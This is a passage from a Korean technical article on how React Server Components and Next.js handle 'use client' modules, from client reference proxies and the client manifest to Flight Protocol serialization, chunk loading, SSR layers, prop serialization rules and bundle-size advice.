        const clientReference = registerClientReferenceImpl(
          {},
          target.$$id,
          true /* async */,
        )
        const proxy = new Proxy(clientReference, proxyHandlers)
        target.status = 'fulfilled'
        target.value = proxy
        const then = (target.then = registerClientReferenceImpl(
          function then(resolve, reject) {
            return Promise.resolve(resolve(proxy))
          },
          target.$$id + '#then',
          false,
        ))
        return then
      }
      // async 모듈: undefined. webpack이 자체 thenable 처리를 한다.
      return undefined
  }
  if (typeof name === 'symbol') {
    throw new Error(
      'Cannot read Symbol exports. Only named exports are supported.',
    )
  }
  // 그 외 named export — 동적으로 ClientReference를 만들어 캐싱
  let cachedReference = target[name]
  if (!cachedReference) {
    const reference = registerClientReferenceImpl(
      function () {
        throw new Error('...')
      },
      target.$$id + '#' + name,
      target.$$async,
    )
    Object.defineProperty(reference, 'name', {value: name})
    cachedReference = target[name] = new Proxy(reference, deepProxyHandlers)
  }
  return cachedReference
}
```

`Counter`라는 export에 처음 접근하면 `"components/Counter.tsx#Counter"`라는 ID로 ClientReference를 만들고 캐싱한다. 두 번째 접근부터는 같은 객체를 반환한다. 이 lazy 생성 패턴 덕분에 모듈에 어떤 export가 있는지 빌드 시점에 정적으로 분석할 필요가 없다 — 접근 시점에 만들어지면 된다.

`then` 분기가 가장 흥미롭다. 직관과 살짝 어긋나게 동작한다.

- **동기 모듈**(`!$$async`)에서 `then` 접근 시: `then` 함수를 동적으로 만들어 반환한다. 이 then은 자기 자신(proxy)을 즉시 resolve하는 함수다. 즉, 동기 모듈인데도 **외부에 thenable처럼 보이게** 만들어서, dynamic import의 await 경로를 통과할 수 있게 한다. RSC 서버에서 `await import('./ClientCounter')`를 했을 때 무한 루프나 에러 없이 모듈 객체를 받게 하기 위한 장치다.
- **async 모듈**(`$$async`)에서 `then` 접근 시: `undefined` 반환. webpack이 async 모듈을 별도 메커니즘으로 thenable 처리하므로, 우리가 then을 만들면 안 된다.

`getPrototypeOf`가 `PROMISE_PROTOTYPE`을 반환하는 것도 같은 맥락에서 읽힌다. dynamic import 결과는 Promise이므로, 클라이언트 모듈 Proxy의 프로토타입을 `Promise.prototype`처럼 보이게 만들어 두면 외부 코드가 이 객체를 Promise처럼 다뤄도 큰 문제가 생기지 않는다. (정확한 의도는 React 소스에 직접 주석으로 적혀있지 않으니, 위 추론은 "그렇게 다뤄지면 동작이 자연스럽다" 수준의 해석으로 받아들이면 된다.)

`set` 트랩은 단호하다 — 서버 코드에서 클라이언트 모듈의 export를 덮어쓰려는 시도는 무조건 throw다.

### Next.js의 next-flight-loader: 두 갈래 변환

Next.js 측에서 위 변환을 적용하는 주체는 `next-flight-loader`다[^1]. 모듈 타입(ESM/CJS)을 자동 판별하고 다르게 처리한다.

- **ESM**: 각 export를 `registerClientReference(stub, resourceKey, exportName)`로 감싸 stub으로 대체. 명시적 named export만 허용한다. `export *`는 거부한다 — 어떤 이름이 export되는지 빌드 시점에 알 수 없으면 stub을 만들 수 없기 때문이다.
- **CJS**: 모듈 전체를 `createProxy(resourceKey)` 한 줄로 대체. 어떤 export가 있는지 모르므로 Proxy의 lazy 생성에 의존한다.

`resourceKey`는 파일 경로 + 추가 query string 형태다. 같은 파일에서 여러 export를 만들거나, barrel optimizer가 같은 파일의 여러 부분을 다른 모듈로 쪼갠 경우를 구분하기 위해서다.

> **여기까지 정리.** 빌드가 끝나면 RSC 서버 번들에는 클라이언트 컴포넌트의 실제 코드가 단 한 줄도 들어있지 않다. `moduleId#exportName` 형태의 ID와 `$$typeof`/`$$id`/`$$async` 메타데이터만 박힌 stub들만 남아 있다. 진짜 컴포넌트 본문은 SSR 번들과 클라이언트 번들에 따로따로 들어가 있다. 이 stub이 RSC 직렬화 시점에 import chunk metadata로 변환되는데, 그 변환은 다음 섹션의 일이다.

## 클라이언트 진입점: flight-client-entry-plugin

webpack은 기본적으로 entry point에서 시작해 import graph를 따라가며 chunk를 만든다. 그런데 RSC에서는 server 코드가 `'use client'` 모듈을 import하지 않는다 — import 자체가 `registerClientReference` 호출로 변환됐으니까. 그러면 webpack은 클라이언트 모듈의 존재를 어떻게 알까?

답: **별도의 entry point를 추가로 만든다**. 이게 `flight-client-entry-plugin`의 역할이다[^2].

```text
서버 entry (RSC)
  └─ Server Component
       └─ "이 자리에 ClientShell이 있다" (registerClientReference)

클라이언트 entry (자동 생성)
  ├─ ClientShell.tsx (실제 코드)
  └─ Counter.tsx (실제 코드)
```

플러그인의 흐름은 이렇다.

1. `createClientEntries()`가 서버 컴파일의 entry들을 순회한다.
2. `collectComponentInfoFromServerEntryDependency()`가 각 entry의 의존성 그래프를 따라가며, 빌드 메타데이터(loader가 prepend한 RSC 메타 정보)를 보고 클라이언트 컴포넌트와 server action을 식별한다.
3. `injectClientEntryAndSSRModules()`가 식별된 클라이언트 모듈들을 entry로 묶어 `next-flight-client-entry-loader`로 webpack에 inject한다. 이때 **두 개의 entry**가 동시에 만들어진다 — **클라이언트(브라우저) 빌드용**과 **SSR 빌드용**.

같은 클라이언트 컴포넌트가 두 번 빌드되는 이유는 SSR 때문이다. 클라이언트 컴포넌트는 첫 페이지 응답에서 HTML로도 렌더링되어야 한다(progressive enhancement, JS 실행 전 컨텐츠 가시성). 그래서:

- **클라이언트 entry**: 브라우저로 보낼 chunk. hydration 후 인터랙티브 컴포넌트가 됨.
- **SSR entry**: HTML 렌더링용. RSC 서버와는 다른 layer에서 실행되며, 결과는 첫 응답의 HTML에 stream된다.

production에서 같은 코드가 두 번 빌드되는 셈이다. 의도된 비용이다.

## 클라이언트 매니페스트: ID → chunk URL

빌드가 끝나면 Next.js는 `client-reference-manifest.js`라는 매니페스트 파일을 emit한다[^4]. 이게 RSC 서버가 클라이언트 참조를 직렬화할 때 참조하는 사전이다.

```ts
// 매니페스트의 한 entry 형태 (개념적)
{
  id: "5234",                          // webpack 모듈 ID
  name: "Counter",                     // export 이름. '*'이면 전체 모듈
  chunks: [
    "12",  "static/chunks/12-abc.js",  // [chunkId, fileName] 페어
    "5234", "static/chunks/5234-def.js"
  ],
  async: false,
}
```

이 entry가 매니페스트의 여러 매핑 안에 들어간다.

```ts
interface ClientReferenceManifest {
  moduleLoading: {prefix: string; crossOrigin: string | null}
  clientModules: Record<string, ManifestNode> // key = "moduleId#exportName"
  ssrModuleMapping: Record<string, Record<string, ManifestNode>>
  edgeSSRModuleMapping: Record<string, Record<string, ManifestNode>>
  rscModuleMapping: Record<string, Record<string, ManifestNode>>
  edgeRscModuleMapping: Record<string, Record<string, ManifestNode>>
  entryCSSFiles: Record<string, string[]>
}
```

`clientModules`는 RSC 서버가 클라이언트 참조를 직렬화할 때 lookup용으로 쓴다. `ssrModuleMapping`과 `edgeSSRModuleMapping`은 SSR 시 같은 컴포넌트의 SSR 빌드 모듈 ID를 찾는 용도다. 같은 컴포넌트가 RSC layer, SSR layer, 클라이언트 layer에서 각각 다른 모듈 ID를 가지므로, 이들 간 매핑이 필요하다.

`chunks` 필드의 형태가 조금 특이하다. **alternating pair** — `[chunkId1, fileName1, chunkId2, fileName2, ...]` 식으로 쭉 늘어놓는다. 중첩 배열이 아니라 평탄한 배열이라 직렬화 비용이 작다. 클라이언트는 이 페어를 두 개씩 끊어 읽으면서 chunk를 fetch한다.

파일 경로는 `encodeURIPath()`로 인코딩된다. webpack이 만들어낸 chunk 파일명에 `[`, `]` 같은 reserved 문자가 들어갈 수 있어서 그대로 URL로 쓰면 안 되기 때문이다.

## 직렬화: serializeClientReference와 $L 토큰

RSC 서버가 컴포넌트 트리를 Flight Protocol로 직렬화할 때, 어떤 위치에서 ClientReference를 만나면 어떻게 인코딩할까. 답은 **위치에 따라 다르다**.

### 함수 값 분기

`react-server/src/ReactFlightServer.js`[^5]는 트리를 직렬화하면서 함수 값을 만나면 ClientReference인지 ServerReference인지 분기한다.

```js
if (typeof value === 'function') {
  if (isClientReference(value)) {
    return serializeClientReference(request, parent, parentPropertyName, value)
  }
  if (isServerReference(value)) {
    return serializeServerReference(request, value)
  }
  // 둘 다 아닌 일반 함수 → 직렬화 불가, 에러
}

export function isClientReference(reference) {
  return reference.$$typeof === Symbol.for('react.client.reference')
}
```

체크는 단순하다. `$$typeof`가 클라이언트 참조 태그인지 본다.

### serializeClientReference의 두 갈래

```js
function serializeClientReference(
  request,
  parent,
  parentPropertyName,
  clientReference,
) {
  const clientReferenceKey = getClientReferenceKey(clientReference)
  const writtenClientReferences = request.writtenClientReferences
  const existingId = writtenClientReferences.get(clientReferenceKey)

  if (existingId !== undefined) {
    // 이미 직렬화된 참조 — chunk를 재사용
    if (parent[0] === REACT_ELEMENT_TYPE && parentPropertyName === '1') {
      return serializeLazyID(existingId) // "$L" + hex
    }
    return serializeByValueID(existingId) // "$" + hex
  }

  try {
    const clientReferenceMetadata = resolveClientReferenceMetadata(
      request.bundlerConfig,
      clientReference,
    )
    request.pendingChunks++
    const importId = request.nextChunkId++
    emitImportChunk(request, importId, clientReferenceMetadata)
    writtenClientReferences.set(clientReferenceKey, importId)

    if (parent[0] === REACT_ELEMENT_TYPE && parentPropertyName === '1') {
      return serializeLazyID(importId)
    }
    return serializeByValueID(importId)
  } catch (x) {
    request.pendingChunks++
    const errorId = request.nextChunkId++
    emitErrorChunk(request, errorId, ...)
    return serializeByValueID(errorId)
  }
}

function serializeLazyID(id) {
  return '$L' + id.toString(16)
}

function serializeByValueID(id) {
  return '$' + id.toString(16)
}
```

핵심 분기는 `parent[0] === REACT_ELEMENT_TYPE && parentPropertyName === '1'`이다. **부모가 React element이고 현재 위치가 type 슬롯(인덱스 1)** 이면 `$L` (lazy) 토큰이 된다. 그 외 위치 — 예를 들어 props 안에 클라이언트 참조가 들어가 있으면 — `$<id>` (by-value reference) 토큰이 된다.

React element의 직렬화 형태를 떠올려 보자.

```text
["$", "type", null, props]
 ↑    ↑
 element marker
      └─ 이 자리가 인덱스 1, 즉 type 슬롯
```

type 슬롯의 클라이언트 참조는 "이 컴포넌트의 코드는 lazy하게 로드된다"는 의미가 된다. props에 들어간 클라이언트 참조는 — 예: 자식으로 클라이언트 컴포넌트를 prop으로 넘긴 경우 — 단순히 import 메타데이터를 가리키는 참조다.

### import chunk: 메타데이터를 별도 행으로

`emitImportChunk`는 매니페스트에서 lookup한 메타데이터(`[id, chunks, name, async]`)를 별도의 chunk로 emit한다. Flight Protocol의 행 기반 스트리밍 구조 안에서 이 chunk는 `I` 행으로 직렬화된다.

```text
I:5:["5234",["12","static/chunks/12-abc.js"],"Counter",0]
0:["$","$L5",null,{"initial":42}]
```

- `I:5:...` — 5번 chunk가 import metadata. `[moduleId, chunks배열, exportName, async]` 페어.
- `0:["$","$L5",null,{"initial":42}]` — 루트 element. type 자리에 `$L5`가 박혀있다.

클라이언트는 이 스트림을 받으면서 5번 chunk의 메타데이터를 보고 chunk URL을 fetch하기 시작한다. 동시에 루트 element의 type 슬롯에는 React lazy 컴포넌트가 만들어진다 — chunk가 도착하면 실제 `Counter` 컴포넌트로 resolve된다.

### Flight Protocol에서 클라이언트 참조 위치별 토큰

| 위치                       | 토큰      | 의미                                          |
| -------------------------- | --------- | --------------------------------------------- |
| React element의 type 슬롯  | `$L<hex>` | lazy 노드로 감싸 컴포넌트 단위 suspend 가능   |
| 그 외 위치 (props 안 포함) | `$<hex>`  | by-value 참조 — import metadata를 가리키는 ID |

이 규칙이 의미하는 바는 이렇다. element type 위치의 클라이언트 참조는 React가 lazy 컴포넌트로 해석할 수 있어 그 컴포넌트 단위로 suspend된다. props 안의 참조는 일반 값 참조로 전달되므로 type 자리와 같은 lazy 처리 경로를 자동으로 타지는 않는다 — 사용하는 쪽에서 그 참조를 어떤 위치에 두느냐에 따라 결과가 달라진다.

## 클라이언트 측: $L에서 실제 컴포넌트로

이제 시야를 클라이언트로 옮긴다. Flight 스트림이 도착하면 `react-client/src/ReactFlightClient.js`[^6]가 한 행씩 파싱한다. 핵심은 `parseModelString`이다 — `$`로 시작하는 토큰을 만나면 두 번째 글자로 분기한다.

```js
function parseModelString(response, parentObject, key, value) {
  if (value[0] === '$') {
    switch (value[1]) {
      case '$':
        return value.slice(1) // 이스케이프된 $
      case 'L': {
        const id = parseInt(value.slice(2), 16)
        const chunk = getChunk(response, id)
        return createLazyChunkWrapper(chunk, 0)
      }
      case '@': {
        const id = parseInt(value.slice(2), 16)
        return getChunk(response, id) // Promise
      }
      case 'S':
        return Symbol.for(value.slice(2))
      case 'h': {
        const ref = value.slice(2)
        return getOutlinedModel(
          response,
          ref,
          parentObject,
          key,
          loadServerReference,
        )
      }
      case 'Q': {
        const ref = value.slice(2)
        return getOutlinedModel(response, ref, parentObject, key, createMap)
      }
      case 'W': {
        const ref = value.slice(2)
        return getOutlinedModel(response, ref, parentObject, key, createSet)
      }
      case 'B': {
        const ref = value.slice(2)
        return getOutlinedModel(response, ref, parentObject, key, createBlob)
      }
      case 'K': {
        const ref = value.slice(2)
        return getOutlinedModel(
          response,
          ref,
          parentObject,
          key,
          createFormData,
        )
      }
      case 'D':
        return new Date(Date.parse(value.slice(2)))
      case 'n':
        return BigInt(value.slice(2))
      case 'I':
        return Infinity
      case '-':
        if (value === '$-0') return -0
        return -Infinity
      case 'N':
        return NaN
      case 'u':
        return undefined
      // ...
    }
  }
  return value
}
```

`'use server'` 글에서 봤던 토큰 테이블이 이 한 함수에 모여있다. `$L`이 새로 등장한다.

### $L → React.lazy

```js
case 'L': {
  const id = parseInt(value.slice(2), 16)
  const chunk = getChunk(response, id)
  return createLazyChunkWrapper(chunk, 0)
}

function createLazyChunkWrapper(chunk, validated) {
  return {
    $$typeof: REACT_LAZY_TYPE,
    _payload: chunk,
    _init: readChunk,
  }
}
```

`$L5`를 만나면 5번 chunk를 가져와서 React lazy 컴포넌트를 만든다. 이게 바로 `React.lazy()`로 만드는 lazy 컴포넌트와 같은 형태다. React reconciler는 이 노드를 만나면 `_init(_payload)`을 호출해서 chunk를 resolve하려 시도하고, 아직 로딩 중이면 Promise를 throw해서 가장 가까운 Suspense boundary가 fallback을 보여주게 한다.

### chunk가 import metadata일 때

5번 chunk는 위에서 `I:5:[...]` 행으로 emit된 import metadata다. 클라이언트 측에서 이 chunk를 만나면 다음 흐름을 탄다.

```js
function resolveModuleChunk(response, chunk, value) {
  // chunk.value에 ClientReference 메타데이터가 들어간다
  const resolvedChunk = chunk
  resolvedChunk.status = RESOLVED_MODULE
  resolvedChunk.value = value
  // ...
}

function readChunk(chunk) {
  switch (chunk.status) {
    case RESOLVED_MODULE:
      initializeModuleChunk(chunk)
      break
  }
  // ...
  switch (chunk.status) {
    case INITIALIZED:
      return chunk.value
    case PENDING:
    case BLOCKED:
      throw chunk // Suspense
    default:
      throw chunk.reason
  }
}

function initializeModuleChunk(chunk) {
  try {
    const value = requireModule(chunk.value)
    chunk.status = INITIALIZED
    chunk.value = value
  } catch (error) {
    chunk.status = ERRORED
    chunk.reason = error
  }
}
```

핵심은 `requireModule(chunk.value)`다. `requireModule`은 bundler-specific 구현이고, webpack에서는 다음과 같이 동작한다[^7].

```js
// react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

export function preloadModule(metadata) {
  const chunks = metadata[1]
  const promises = []
  for (let i = 0; i < chunks.length; i += 2) {
    const chunkId = chunks[i]
    const chunkFilename = chunks[i + 1]
    const entry = chunkCache.get(chunkId)
    if (entry === undefined) {
      const thenable = loadChunk(chunkId, chunkFilename)
      promises.push(thenable)
      chunkCache.set(chunkId, thenable)
    } else if (entry !== null) {
      promises.push(entry)
    }
  }
  if (metadata[3] /* async */) {
    if (promises.length === 0) {
      return requireAsyncModule(metadata[0])
    }
    return Promise.all(promises).then(() => requireAsyncModule(metadata[0]))
  }
  return promises.length === 0 ? null : Promise.all(promises)
}

export function requireModule(metadata) {
  let moduleExports = __webpack_require__(metadata[0])
  // async 모듈이면 .value로 접근
  if (metadata[3] /* async */) {
    if (moduleExports.status === 'fulfilled') {
      moduleExports = moduleExports.value
    } else {
      throw moduleExports.reason
    }
  }
  if (metadata[2] /* exportName */ === '*') {
    return moduleExports
  }
  if (metadata[2] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports
  }
  return moduleExports[metadata[2]]
}
```

`metadata`는 `[id, chunks, name, async]` 튜플이다.

1. `preloadModule`: `chunks` 페어를 두 개씩 끊어 `loadChunk`로 chunk 파일을 fetch한다. 이미 캐싱된 chunk는 건너뛴다. 동기 모듈이면 chunk만 받으면 끝, async 모듈이면 추가로 `requireAsyncModule`을 await해야 한다.
2. `requireModule`: `__webpack_require__`로 모듈을 resolve하고, `name`에 따라 export를 추출한다.

`*`이면 모듈 전체, `''`(빈 문자열)이면 default export(ESM interop), 그 외엔 named export. 빌드 타임에 만들어진 매니페스트의 `name` 필드가 여기서 결정된다.

### chunkCache: 한 번 받으면 끝

`chunkCache`는 모듈 단위가 아니라 chunk 단위 캐시다. 클라이언트 컴포넌트 100개가 같은 chunk를 공유하면 — 흔한 일이다, webpack이 vendors chunk를 만드니까 — 그 chunk는 단 한 번만 받는다. 두 번째부터는 캐시 히트로 끝난다.

이게 의미하는 바: **같은 모듈을 여러 곳에서 import해도 클라이언트 입장에서 chunk 다운로드는 한 번**이다. RSC payload는 매번 ClientReference 메타데이터를 포함하지만, 메타데이터는 가볍고(수십 바이트), chunk URL은 dedup된다.

> **여기까지 정리.** RSC 서버는 트리를 순회하다 클라이언트 참조를 만나면 매니페스트에서 `[id, chunks, name, async]`를 꺼내 import chunk로 emit한다. element type 자리면 `$L<hex>`, 그 외 자리면 `$<hex>` 토큰이 박힌다. 클라이언트는 `$L`을 만나면 React lazy 노드를 만들고, `preloadModule`로 chunk를 fetch하고, `requireModule`(`__webpack_require__`)로 실제 컴포넌트를 resolve한다. 같은 chunk는 `chunkCache`로 dedup된다. 여기까지가 직렬화 라운드트립의 끝이다 — 다음으로 RSC 서버 외에 또 하나의 서버 측 렌더러, SSR 레이어가 등장한다.

## SSR과 RSC, 그리고 두 개의 컴포넌트 트리

여기서부터 멘탈 모델이 흔들리기 쉽다. 단순한 그림은 이렇다.

```text
[브라우저 첫 요청]
1. 서버에서 HTML 렌더링 → Streaming
2. 브라우저 hydration

[이후]
3. 클라이언트가 서버에 RSC 요청 → Flight 스트림 받기
```

그런데 RSC가 들어오면 서버 측이 더 복잡해진다.

```text
[브라우저 첫 요청]
1. RSC 서버: 서버 컴포넌트 트리를 Flight 스트림으로 렌더링
   - 클라이언트 컴포넌트는 $L<id> + import metadata로 직렬화
2. SSR 서버(같은 프로세스, 다른 layer): Flight 스트림을 받아서
   - $L<id>를 만나면 SSR 빌드의 클라이언트 모듈을 require해서 실제 렌더
   - 결과를 HTML로 stream
3. 브라우저: HTML 받으며 표시 + 끝에 Flight 스트림 + 클라이언트 chunk 받기
4. hydration: 클라이언트 chunk가 도착하면 HTML과 Flight 스트림을 결합해 React 트리 생성, 이벤트 리스너 부착
```

같은 Counter 컴포넌트가 — 같은 한 페이지에서 — 서로 다른 환경 세 곳에서 다뤄진다.

| 환경                 | 빌드 layer              | 역할                            |
| -------------------- | ----------------------- | ------------------------------- |
| RSC 서버             | `reactServerComponents` | 클라이언트 참조로 직렬화만      |
| SSR 서버             | `serverSideRendering`   | 첫 응답 HTML을 만드는 실제 렌더 |
| 브라우저(클라이언트) | (default)               | hydration + 이후 인터랙션       |

매니페스트에 `ssrModuleMapping`과 `clientModules`가 따로 있는 이유가 이것이다. 같은 `"Counter.tsx#Counter"` 키에 대해 SSR layer의 모듈 ID와 클라이언트 layer의 모듈 ID가 다르고, 두 매핑 모두를 RSC 서버가 들고 있어야 한다. SSR layer는 RSC payload를 소비할 때 `ssrModuleMapping`을 사용해서 서버 측 webpack require로 모듈을 가져오고, 클라이언트는 `clientModules`를 사용해서 chunk URL을 fetch한다.

### 'use client'는 SSR도 막지 않는다

자주 받는 질문. "`'use client'`인데 왜 서버에서도 렌더되지?" 정답: **SSR은 클라이언트 컴포넌트를 막지 않는다.** RSC 서버만 막는다. SSR 서버는 클라이언트 컴포넌트의 본문을 정상적으로 실행해서 HTML을 만든다. 단, `useState`의 초기값만 반영된 정적 HTML이고, 이벤트 핸들러는 hydration 후 부착된다.

이 구분을 잡고 나면 "서버에서 절대 실행되면 안 되는 코드" — 예: `window.localStorage`에 접근하는 코드 — 가 SSR에서도 깨진다는 것을 이해할 수 있다. `'use client'`로는 부족하고, `useEffect`로 감싸거나 `typeof window !== 'undefined'` 체크를 해야 한다.

```tsx
'use client'

import {useState, useEffect} from 'react'

export function Theme() {
  // ❌ SSR에서도 실행됨. window 없음 → 에러
  // const [theme, setTheme] = useState(localStorage.getItem('theme'))

  const [theme, setTheme] = useState<string | null>(null)

  // ✅ 브라우저에서만 실행
  useEffect(() => {
    setTheme(localStorage.getItem('theme'))
  }, [])

  return <div data-theme={theme}>...</div>
}
```

## props 직렬화: 무엇을 넘길 수 있는가

서버 컴포넌트가 클라이언트 컴포넌트에 props를 전달하면, 그 props는 **Flight Protocol로 직렬화**되어 RSC payload에 실린다. `'use server'` 글에서 다룬 직렬화 토큰 테이블이 그대로 적용된다.

### 직렬화 가능 / 불가능

| 타입                                                         | 가능 여부 | 비고                             |
| ------------------------------------------------------------ | --------- | -------------------------------- |
| `string`, `number`, `bigint`, `boolean`, `undefined`, `null` | ✅        | 원시 타입                        |
| `Symbol.for('name')`                                         | ✅        | 전역 레지스트리에 등록된 심볼만  |
| `Array`, `Map`, `Set`, `TypedArray`, `ArrayBuffer`           | ✅        |                                  |
| `Date`, `FormData`, `Promise`                                | ✅        |                                  |
| 일반 객체 (`{}`, `{ key: value }`)                           | ✅        | object initializer로 만든 것     |
| Server Function (`'use server'` 함수)                        | ✅        | `$h<id>` 토큰                    |
| **Server Component(JSX) — children/slot**                    | ✅        | `$L<id>` lazy 또는 직렬화된 트리 |
| 일반 함수, 화살표 함수, 클래스 메서드                        | ❌        | 코드는 네트워크를 못 넘는다      |
| 클래스 인스턴스                                              | ❌        | 프로토타입 체인 복원 불가        |
| DOM 노드, 이벤트 객체                                        | ❌        | 네이티브, 순환 참조              |
| 전역 레지스트리에 없는 `Symbol()`                            | ❌        |                                  |

이 표는 props 직렬화에서 가장 자주 만나는 함정 두 개를 시사한다.

**일반 함수는 못 넘긴다.** 흔한 실수다.

```tsx
// ❌ Server Component에서 핸들러를 만들어 Client Component에 전달
export default function Page() {
  return <ClientButton onClick={() => console.log('hi')} />
}
```

작동하지 않는다. `() => console.log('hi')`는 일반 함수라 직렬화가 안 된다. 두 가지 해법이 있다.

1. **Server Function으로 만들기**: `'use server'`를 붙여 RPC 엔드포인트로.
2. **Client Component 안에서 정의**: 핸들러를 클라이언트 코드에 넣는다.

대부분은 (2)다. UI 이벤트 핸들러는 일반적으로 클라이언트 코드의 일부니까.

**이벤트 객체도 못 넘긴다.**

```tsx
// ❌ Server Function에 이벤트 객체 그대로 넘기기
<button onClick={(e) => updatePost(e)}>

// ✅ 필요한 값만 추출
<button onClick={() => updatePost(postId)}>
```

이벤트 객체는 DOM 노드와 순환 참조 덩어리다. 직렬화 시도조차 안 한다.

### children prop의 비밀

Server Component를 children으로 받는 패턴이 가능한 이유를 다시 짚는다.

```tsx
'use client'
export function Card({children}: {children: React.ReactNode}) {
  return <div className="card">{children}</div>
}
```

```tsx
// app/page.tsx (Server Component)
import {Card} from './Card'
import {db} from '@/lib/db'

export default async function Page() {
  const post = await db.posts.findFirst()
  return (
    <Card>
      <article>
        <h1>{post.title}</h1>
        <p>{post.content}</p>
      </article>
    </Card>
  )
}
```

`Card`(클라이언트)에 들어가는 children은 **이미 RSC 서버에서 렌더링이 끝난 React element 트리**다. 직렬화된 형태로 props에 실려서 클라이언트로 전달된다. 클라이언트의 `Card`는 그 트리를 그대로 children 자리에 박는다.

children에 클라이언트 컴포넌트가 섞여 있어도 된다 — 그건 다시 `$L<id>` 토큰으로 직렬화되어 클라이언트가 chunk를 로드하는 식으로 풀려난다.

이 패턴 — "클라이언트 shell + 서버 children" — 이 RSC 컴포지션의 핵심 무기다. 인터랙티브 wrapper(탭, 모달, 사이드바)는 클라이언트로, 그 안에 들어가는 컨텐츠는 서버로. 번들 크기는 작고, 데이터 페칭은 서버에서 끝난다.

## 사용 시 주의사항

### 1. 'use client'를 가능한 leaf로 미루기

`'use client'`가 import graph의 진입점이라는 사실은 직접적인 결과를 낳는다 — **상위에 두면 그 아래 모든 게 클라이언트 번들에 들어간다.**

가장 나쁜 패턴은 layout이나 page에 무심코 `'use client'`를 적는 것이다.

```tsx
// ❌ app/dashboard/layout.tsx
'use client'

import {ThemeProvider} from '@/lib/theme'

export default function Layout({children}) {
  return <ThemeProvider>{children}</ThemeProvider>
}
```

`children`이 children prop으로 전달되니 children은 서버 컴포넌트일 수 있지만, **`ThemeProvider`가 import하는 모든 의존성이 클라이언트 번들에 들어간다.** 만약 `@/lib/theme`이 또 다른 무거운 라이브러리들을 import하면 폭발적으로 커진다.

해결: ThemeProvider만 분리.

```tsx
// app/dashboard/layout.tsx (Server Component)
import {ThemeProvider} from './ThemeProvider'

export default function Layout({children}) {
  return <ThemeProvider>{children}</ThemeProvider>
}

// app/dashboard/ThemeProvider.tsx
'use client'

import {createContext, useState} from 'react'

export function ThemeProvider({children}) {
  // ...
  return <Context.Provider value={...}>{children}</Context.Provider>
}
```

원칙: **`'use client'`는 인터랙티브한 코드를 직접 담은 leaf 컴포넌트에만**. provider, context, 인터랙션이 필요한 leaf — 이런 것들을 별도 파일로 분리해서 그 파일에만 디렉티브를 둔다.

### 2. barrel 파일 + 'use client'는 위험하다

여러 컴포넌트를 한 파일에 모아 re-export하는 barrel 파일에 `'use client'`를 붙이면, 그 파일 전체가 한 덩어리의 클라이언트 모듈이 된다. 사용자가 그중 하나만 import해도 webpack은 barrel 모듈 전체를 클라이언트 그래프에 넣는다.

```tsx
// ❌ components/index.ts
'use client'
export {Button} from './Button'
export {Modal} from './Modal' // 무거운 라이브러리 의존성
export {RichEditor} from './RichEditor' // 1MB+ 의존성
```

```tsx
// 사용 측
import {Button} from '@/components' // RichEditor도 같이 끌려옴
```

해결책 두 가지.

1. **barrel 파일에 `'use client'` 적지 않기** — barrel 자체는 server-friendly로 두고, 각 leaf 파일에서 따로 `'use client'`를 적는다.
2. **개별 파일로 직접 import** — `import {Button} from '@/components/Button'`.

Next.js의 `optimizePackageImports`가 barrel을 자동으로 흩어주지만, 모든 케이스에 통하지 않는다. 의도적으로 leaf import로 가는 게 안전하다.

### 3. 클라이언트 컴포넌트 안에서 서버 코드 import 금지

`'use client'` 모듈에서 `import 'server-only'`로 마킹된 모듈을 import하면 빌드가 깨진다. 의도된 차단이다.

```tsx
// lib/db.ts
import 'server-only'
export const db = ...
```

```tsx
// ❌ Counter.tsx
'use client'
import {db} from '@/lib/db' // 빌드 에러
```

이 경계를 깨면 서버에서만 있어야 하는 코드(API 키, DB 커넥션)가 클라이언트 번들로 새 나갈 수 있다. `server-only` 패키지는 클라이언트 빌드에서 import하면 즉시 에러를 던지는 단순한 가드다. 보안 측면에서 핵심 도구다.

### 4. props는 매 RSC payload에 들어간다

클라이언트 컴포넌트 자체의 코드는 chunk로 한 번만 받지만, **props는 매 RSC payload마다 직렬화되어 전송된다.** 큰 객체를 props로 넘기면 그게 그대로 RSC payload 크기가 된다.

```tsx
// ❌ 거대한 데이터를 prop으로
const allUsers = await db.users.findMany() // 1MB+
return <UserList users={allUsers} />
```

이런 경우 두 가지 대안이 있다.

1. **Server Component에서 직접 렌더링**: `UserList`를 Server Component로 만들어 자체적으로 데이터를 표시한다. 클라이언트 인터랙션이 필요한 부분만 안쪽 leaf로 분리.
2. **데이터 슬라이싱**: 클라이언트 컴포넌트가 정말로 필요로 하는 필드만 추출해서 넘긴다.

### 5. Context는 Provider가 클라이언트일 때만 동작한다

React Context는 클라이언트 트리에만 존재한다. Server Component는 context를 read할 수 없다(쓸 수도 없다). 그래서 context로 데이터를 prop drilling 회피하려 한다면, **Provider도 클라이언트, consumer도 클라이언트**여야 한다.

```tsx
// ✅ ThemeContext.tsx
'use client'
import {createContext, useContext, useState} from 'react'

const ThemeContext = createContext('light')

export function ThemeProvider({children}) {
  const [theme, setTheme] = useState('light')
  return <ThemeContext.Provider value={theme}>{children}</ThemeContext.Provider>
}

export function useTheme() {
  return useContext(ThemeContext)
}
```

Server Component에서 데이터를 prop drilling 없이 공유하려면 — `React.cache`로 메모이즈된 함수를 여러 컴포넌트에서 호출하는 패턴이 정석이다.

### 6. 서버에서 만든 Date/Map/Set은 그대로 넘어간다

Flight Protocol은 JSON 한계를 넘어선다 — `Date`, `Map`, `Set`, `BigInt`까지 그대로 전달된다.

```tsx
// Server Component
const now = new Date()
const tags = new Map<string, string>([['hot', '🔥']])
return <Card createdAt={now} tags={tags} />
```

```tsx
// 'use client' Card
export function Card({
  createdAt,
  tags,
}: {
  createdAt: Date
  tags: Map<string, string>
}) {
  return (
    <div>
      {createdAt.toLocaleString()} — {tags.get('hot')}
    </div>
  )
}
```

JSON.parse → JSON.stringify 직렬화에서 손실되던 타입 정보가 살아있다. 굳이 string으로 변환해서 넘기고 클라이언트에서 다시 파싱할 필요 없다.

## 성능을 위한 조언

### 1. 'use client' 위치가 번들 크기를 결정한다

가장 큰 레버. 위에서 다뤘듯 `'use client'`는 진입점 마커이고, 그 아래 import graph 전체가 클라이언트 번들에 들어간다. **반드시 leaf로 미루는 것**이 첫 번째 최적화다.

측정은 어떻게? Next.js의 `@next/bundle-analyzer`를 켜고 클라이언트 chunk를 본다. 의외로 큰 chunk가 보이면, 그 chunk에 어떤 모듈들이 들어있는지 확인하고 — 진짜로 클라이언트에서 필요한 모듈인지 — 아니면 서버에 두어야 할 게 클라이언트로 새 나간 건지 판단한다.

### 2. dynamic import로 초기 페이로드에서 분리

